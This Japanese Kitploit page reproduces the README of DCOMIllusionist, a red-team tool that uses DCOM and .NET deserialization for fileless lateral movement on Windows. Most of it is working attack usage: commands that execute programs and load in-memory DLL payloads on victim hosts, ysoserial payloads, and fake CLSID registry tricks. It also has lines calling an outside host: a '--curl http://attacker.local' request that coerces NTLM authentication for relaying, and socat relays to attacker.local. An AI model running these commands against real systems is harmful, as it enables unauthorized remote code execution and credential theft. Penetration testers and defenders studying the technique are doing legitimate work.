Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
DCOMIllusionist — DCOMを利用したメモリ内およびファイルレスな横方向移動技術(.Netデシリアライゼーション経由) | Kitploit
ツール/GitHubGitHub/synacktiv/dcomillusionist
特権昇格エクスプロイト横移動ポストエクスプロイトペネトレーションテストコマンド&コントロール認証レッドチーミングリモートアクセスツールペイロード開発
GitHubsynacktiv/dcomillusionist

DCOMIllusionist

283331ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

DCOMを利用したメモリ内およびファイルレスな横方向移動技術(.Netデシリアライゼーション経由)

リポジトリを見る
🎩✨🪄

DCOMIllusionist

Windows ファイルレス横移動テクニック。

はじめに  •  ビルド  •  使い方  •  技術詳細  •  謝辞


はじめに

このツールは、管理者権限を持っている場合にWindowsマシン上でリモートコード実行を可能にします。DCOMと、受信したオブジェクトを自動的にデシリアライズする.NET DCOMサーバーの動作を活用します。これにより、ディスクに書き込むことなく任意のコマンドを実行したりDLLをロードしたりすることが可能になります。

当初はJames Forshawによって特権昇格手法として発見されましたが、この方法は特定のレジストリキーをリモートで変更することで横移動に適応されました。さらに、DCOMを介したクロスセッションの悪用もサポートしており、任意のコマンドを別のユーザーセッション内でそのセッションのセキュリティコンテキストのもとで実行できます。

この手法はワークステーションとサーバーの両方で動作しますが、ターゲットマシンと攻撃者管理下のマシン間のネットワークアクセスが必要です。

詳細はこのセクションをご覧ください。

ビルド

リリースが利用可能ですが、手動でビルドすることもできます:

root@kitploit:~
PS F:\> git clone https://github.com/synacktiv/DCOMIllusionist.git
PS F:\> cd DCOMIllusionist
PS F:\DCOMIllusionist> dotnet publish -c Release -r win-x64

使い方

root@kitploit:~
PS F:\> runas /u:LAB\adm /netonly powershell.exe
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 1 --curl http://attacker.local --attacker-sid <sid-adm>

[!IMPORTANT]
このツールを正常に使用するには、攻撃側ホスト(昇格されたシェルを介して)とターゲットマシンの両方で管理者アクセスが必要です。

root@kitploit:~
Usage:
  DCOMIllusionist.exe [options] -t <target> (--ps-exec | --exec | --curl | --file-write-src | --load-dll | --yso-b64 | --test-network | --list-sessions)

Options:
  -h, --help                        Show this help message and exit
  -d, --debug                       Enable debug logging
  -t, --target <value>              Set the target hostname or IP
  -p, --port <value>                Set the target port (Default: 49765)
      --clsid <value>               Specify a CLSID (no curly braces)
      --appid <value>               Specify an AppID (no curly braces)
  -s, --session <value>             Provide a session identifier
   -l --listen <host>               Specify listener FQDN or IP
  -g, --gadget <value>              Specify gadget to use
      --attacker-sid <value>        Set the attacker's SID
      --no-port-check               Disable port availability check
      --restore-backup <path>       Restore registry from backup
      --local-registry-only         Only performs local registry modifications
      --remote-registry-only        Only performs remote registry modifications
      --skip-local-registry-setup   Skip local registry setup
      --skip-remote-registry-setup  Skip remote registry setup
      --hku                         Perform remote registry operations on HKCU instead of HKLM
      --fake-clsid                  Create fake CLSID with fake AppId

Attacks:
      --ps-exec <args>              Execute a command remotely using PSExec
      --exec <cmd>                  Execute a command remotely
      --exec-args <args>            Args to pass to the command
      --curl <url>                  Use curl-style web request payload
      --file-write-src <src>        File to write
      --file-write-dst <dst>        Destination path
      --load-dll <path>             Load a DLL into the remote process
      --dll-class <value>           Class in the DLL to execute (including namespace)
      --dll-method <value>          Static Method in the class to execute (Default: Run)
      --yso-b64 <b64>               Execute base64-encoded ysoserial payload
      --test-network                Check network access from target to attacker machine
      --list-sessions               List interactive sessions on the target

Examples:
    DCOMIllusionist.exe --target 192.168.1.10 --exec "whoami"
    DCOMIllusionist.exe -t victim.local -p 1337 --listen other.attacker.local --load-dll "payload.dll" --dll-class "Exploit" --session 2

CLSID:
    BFFECCA7-4069-49F9-B5AB-7CCBB078ED91 - System.ServiceModel.Internal.TransactionBridge           (Default)
    2A7B042D-578A-4366-9A3D-154C0498458E - System.Management.Instrumentation.ManagedCommonProvider
    37708080-3519-4ED6-91D5-A64B643863FB - Windows.Help.Runtime.CatalogRead

AppId:
    577289B6-6E75-11DF-86F8-18A905160FE0 - Windows Push Notification Platform Connection Provider   (Default)
    63766597-1825-407D-8752-098F33846F46 - CentennialLifetimeManagerConsoleOperator
    06C792F8-6212-4F39-BF70-E8C0AC965C23 - User Account Control Settings                            (Interactive user)
    D4872B74-3AFC-47CD-B8A2-9E4F998539BC - Remote Cloud Store Factory                               (Interactive user)

--session

前述の通り、セッションを指定することで別のユーザーのセッション内で任意のコマンドを実行できます。

[!WARNING] これは、対話ユーザーのIDで実行されるように構成されたAppIDでのみ機能します。これは自動的に処理されるため、--appid引数を指定する必要はありません。ツールはデフォルトで User Account Control Settings に関連付けられたAppIDを使用します。

[!IMPORTANT] 攻撃側マシンがドメインに参加している場合にのみ機能します。詳細はこちら。

--list-sessions

WTSEnumerateSessionsを使用してターゲット上のリモートの対話型およびアクティブなセッションを一覧表示します。

--listen

ターゲットマシンが攻撃者のホストに直接到達できない場合、エクスプロイトは失敗します。ただし、ターゲットが接続可能な中間マシンを指定することは可能です。socatのようなツールを使用して、この中間マシンから攻撃者のホストにトラフィックをリレーできます。

listen

  • 侵害されたマシン上:
root@kitploit:~
$ sudo socat -v TCP-LISTEN:135,fork,reuseaddr TCP:attacker.local:135
$ socat -v TCP-LISTEN:1337,fork,reuseaddr TCP:attacker.local:1337
  • 攻撃者マシン上:
root@kitploit:~
PS F:\> ./DCOMIllusionist.exe -t victim.local -p 1337 --listen compromised.local --ps-exec whoami

--attacker-sid

runas /netonlyシェルからエクスプロイトを実行する場合、関連付けられたIDを自動的に取得できません。そのため、攻撃を成功させるには--attacker-sidオプションを使用して明示的に指定する必要があります。

--exec

--execは--exec-argsと共に使用して、ターゲット上で任意のバイナリを実行できます:

root@kitploit:~
PS F:\> ./DCOMIllusionist.exe -t victim.local --exec powershell.exe --exec-args "-C calc"

[!NOTE] --ps-execはそのラッパーに過ぎず、同じことは--ps-exec calcでも実現できます。

--curl

Curlは、クロスセッションの悪用シナリオで役立ちます。マシンに対する管理者権限を持っており、例えばドメイン管理者がセッション3でアクティブな場合、.NETを介して純粋にそのユーザーに代わって認証済みHTTPリクエストを開始することが可能です。このリクエストを、ntlmrelayx.pyを実行している攻撃者管理マシンに送ることで、従来のNTLMリレー攻撃を実行し、ユーザーを侵害できます。

root@kitploit:~
PS F:\> ./DCOMIllusionist.exe -t 10.10.10.10 --session 3 --curl http://attacker.local

--load-dll

ディスクに触れることなく、任意のDLLを完全にメモリ内にロードすることが可能です。例えば:

root@kitploit:~
// Build: csc /target:library /optimize /out:Payload.dll Payload.cs
using System.Diagnostics;

public class Payload
{
  public static void Run()
  {
    Process.Start("calc");
  }
}
root@kitploit:~
PS F:\> ./DCOMIllusionist.exe -t victim.local --load-dll Payload.dll --dll-class Payload

デフォルトでは、指定されたクラスの静的Runメソッド(パラメータなし)が実行されます。この動作は--dll-methodパラメータでカスタマイズできます。

--yso-b64

高度なガジェット生成には、Ysoserial.netを使用できます。得られたBase64エンコードされたペイロードを直接提供でき、それはRolePrincipalインスタンス内にカプセル化され、ターゲットマシン上でデシリアライズされます。

[!WARNING] BinaryFormatterでのみ機能します。

--test-network

通常のエクスプロイトと同じ操作を実行しますが、ダミーペイロードのみを送信して、ターゲットが攻撃者のマシンに接続できることを確認します。

--hku

HKLMレジストリルートキーの代わりにHKEY_USERSを使用することで、低特権ユーザーからすべてを悪用できます。これは、ユーザーがPerformance Log UsersまたはDistributed COM Usersグループのメンバーである場合に使用できます。この場合、正しいレジストリパスにアクセスするために--attacker-sidを指定する必要があります。また、書き込み可能なCLSIDも指定する必要があります(--fake-clsidを参照):

root@kitploit:~
PS F:\> ./DCOMIllusionist.exe --target victim.local --clsid 1f0dd70c-df30-4b47-8ac4-f72aba8bff24 --exec calc.exe --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku --appid 900f081a-a69d-4a92-9f33-72c141feee9a

--fake-clsid

偽のCLSIDとAppIdを作成します。現在のユーザーまたは--attacker-sidがDCOMサーバーを起動・アクティブ化できるように、AppIdに権限が設定されます。これは、HKU上の低特権ユーザーからエクスプロイトを実行する場合に便利です。

root@kitploit:~
PS F:\> ./DCOMIllusionist.exe  --target victim.local --fake-clsid --attacker-sid S-1-5-21-2090540823-3895734423-2628300701-1003 --hku
[+] Creating fake CLSID
[+] New AppId: {900f081a-a69d-4a92-9f33-72c141feee9a}
[+] New CLSID: {1f0dd70c-df30-4b47-8ac4-f72aba8bff24}

技術詳細

.NETで書かれたDCOMサーバーがオブジェクトを受信すると、IManagedObject DCOMインターフェースを照会します。インターフェースが存在する場合、サーバーはGetSerializedBufferメソッドを呼び出します。クライアントはオブジェクトのシリアル化されたバージョンで応答し、サーバーはそれをデシリアライズして、任意のコード実行につながります。これを成功させるには、被害マシンが攻撃者のホストに直接ネットワークアクセスできる必要があります(--listen参照)。

技術詳細

任意のDCOM OBJREFを偽装することで、ターゲットマシンを任意のリモートシステムにリダイレクトできます。例えば、socatを使用してポート135(および別の任意のポート)上のトラフィックを実際の攻撃者管理マシンに転送できます。James Forshawの概念実証では、後に"Potato"エクスプロイトの基盤となりましたが、彼はPointerMonikerのGUIDを使用してOBJREF内の任意のオブジェクトをマーシャリングしました。このアプローチは認証のトリガーに成功しましたが、その後のステップで失敗しました。代わりに標準マーシャラーのGUIDを使用することで、完全に機能する任意のOBJREFを作成して送信することが可能になります。

ただし、テストされたWindows Serverのバージョンでは、デフォルトで公開される.NET DCOMサーバーはありません。リモート操作を有効にするには、Windowsレジストリをリモートで変更して、カスタムAppIDを.NET CLSIDに関連付け、DCOM経由でアクセス可能にすることができます。AppIDを注意深く選択することで、セッションモニカーを介したクロスセッションの悪用も可能になり、ターゲットマシンに対話型セッションが存在する場合に機能します。これもJames Forshawによって発見され、こちらおよびこちらで詳述されています。

エクスプロイトを成功させるには、ターゲットサーバーがシリアル化されたオブジェクトデータ(ガジェット)を攻撃者管理マシンから取得する必要があります。そのためには、サーバーが攻撃者のホストに対して認証を行う必要があります。

AppIDが対話ユーザーのIDで実行されるように構成されていない場合、認証試行はAnonymousとして行われます。これを許可するには、攻撃者のマシンでデフォルトのDCOMアクセス権限を変更して、匿名のDCOM認証を受け入れるように構成する必要があります。

AppIDが対話ユーザーに関連付けられている場合、認証は指定されたセッション(--session経由)またはデフォルトではセッション0のユーザーのIDを使用して行われます。この場合、攻撃者のマシンはドメインに参加している必要があります。そのため、Everyoneグループが一時的にデフォルトのDCOMアクセス権限に追加され、認証を成功させます。

デフォルトのアクセス権限のみが変更され、起動およびアクティブ化の権限は変更されないことに注意することが重要です。すべての変更は操作が完了すると元に戻されます。問題が発生した場合に備えて、元の設定のバックアップが作成され、復元できます。

[!CAUTION] 攻撃者のマシンはエクスプロイト中に一時的に許可状態になりますが、すべての変更は後で元に戻されます。

謝辞

  • @tiraniddo - 元の研究、この研究、およびoleviewdotnetに対して。彼のコードの多くは、このツールを含む公開されているC#の攻撃ツールで再利用されています。
  • @nt0x4 - TextFormattingRunPropertiesガジェットに関する研究に対して。彼は任意のDLLをメモリにロードする方法を示しました。これは--curlおよび--file-write攻撃で再利用されました。
  • @cube0x0 - KrbRelayに対して
  • @pwntester - Ysoserial.netに対して
  • Dylan Tran と Jimmy Bayne(IBM X-Force Red) - ForsHopsからいくつかの着想を得ました。
ツールをダウンロード